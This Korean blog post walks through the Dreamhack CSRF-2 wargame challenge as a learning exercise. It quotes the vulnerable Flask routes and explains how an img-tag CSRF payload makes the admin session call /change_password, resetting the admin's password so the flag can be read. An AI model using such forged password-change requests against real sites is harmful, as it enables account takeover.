[DREAMHACK 워게임] 웹해킹_CSRF-2 문제풀이Security2023. 11. 24. 12:30
Table of Contents
이 문제의 중요한 점은 admin의 비밀번호가 flag이고
admin으로 로그인하면 home화면에 flag가 출력된 다는 것이다.
-> 따라서 우리가 고민해야하는 것은 admin으로 그럼 어떻게 구할 것인가 이다
이때 코드를 살펴보면
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
이때 중요한 것은 /flag를 통해 보내게 된다면 session_id가 만들어지고 이가 'admin’값으로 저장되는 것이다. 따라서 이때 admin의 session_id가 새로 생긴 다는 의미이다.
그 후 check_csrf를 통해 sessionid라는 이름으로 값이 전송된다.
그리고 코드에만 있는 라우터를 보면
/change_password에서 sessionid값이 같으면 비번을 바꾸는 것을 알 수 있다.
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
따라서 /flag 페이지에서
<img src=“./change_password?pw=1234&sessionid=document.cookie”/>
해당 값을 입력하면 admin의 비번이 바뀌기에 DH값을 구할 수 있다.```
반응형
'Security' 카테고리의 다른 글
[가명정보 활용 종합지원플랫폼] 사이버훈련장 사용방법 및 오류해결방법 (로그인 안 될 때, 와이파이 연결 안될 때 ) (1) | 2024.01.08 |
---|---|
[DREAMHACK 워게임] 웹해킹_command-injection-1 문제풀이 (1) | 2023.11.24 |
[DREAMHACK 워게임] 웹해킹_simple_sqli 문제풀이 (0) | 2023.11.24 |
[DREAMHACK 워게임] 웹해킹_xss-2 문제풀이 (0) | 2023.11.24 |
[DREAMHACK 워게임] 웹해킹_XSS문제 풀이 (0) | 2023.11.24 |
[정보 보안] KISA 2023 가명정보 강의 요약 (0) | 2023.09.22 |
@염염 :: 왕감자
공부하고 정리하는 기록모음